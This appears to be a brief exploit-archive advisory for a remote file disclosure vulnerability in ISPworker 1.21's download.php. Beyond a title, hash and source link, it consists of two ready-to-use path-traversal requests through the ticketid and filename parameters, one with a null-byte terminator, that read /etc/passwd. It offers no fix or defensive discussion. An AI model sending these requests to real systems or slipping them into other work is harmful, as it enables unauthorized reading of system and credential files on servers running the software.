ISPworker version 1.21 suffers from a remote file disclosure vulnerability in download.php.
55ca5e225126e342d46369ee76f34e6d80e49a9e985afc661e6285b8f4b6c910
ISPworker 1.21 Remote File Disclosure Vulnerability
http://ispworker.de/_files/ispworker-1.21.tar.gz
/module/ticket/download.php?ticketid=../../../../../../../../../etc/passwd%00
/module/ticket/download.php?filename=../../../../../../../../../etc/passwd